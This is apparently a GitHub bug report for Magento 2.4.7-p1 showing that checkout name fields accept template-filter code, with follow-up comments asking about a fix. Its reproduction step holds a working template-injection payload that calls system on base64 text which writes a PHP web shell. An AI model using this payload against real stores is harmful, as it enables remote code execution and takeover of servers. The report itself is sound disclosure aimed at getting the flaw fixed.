Checkout address forms allow random code in the name fields

[nkarthickannan]

Preconditions and environment

Magento version - 2.4.7-p1

Steps to reproduce

1. Install a fresh Magento latest version with sample data
2. Add to a product to shopping cart and navigate to the checkout page (either as guest or as logged in user)
3. Provide the following code in the First name and Last name fields (shipping and billing address fields) {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Expected result

Magento should not allow to proceed by throwing an error

Actual result

Magento allows the user to proceed further without throwing an error

Additional information

Similar issue is already raised and resolved here - https://github.com/magento/magento2/issues/38331

Release note

No response

Triage and priority

• [X] Severity: S0 - Affects critical data or functionality and leaves users without workaround.
• [ ] Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
• [ ] Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
• [ ] Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
• [ ] Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.

[Max-Leps]

@in-session

Hello Did they confirm this fix?

[in-session]

@Max-Leps No the pull is in the test phase as well as another pull #39131. Whether a merge will ever come is always written in the stars, hence open source. And unfortunately I can't say whether magento does anything here either. @engcom-Bravo https://jira.corp.adobe.com/browse/AC-12687. Is there anything new?

[Max-Leps]

Hello

Any core fix for the issue so far?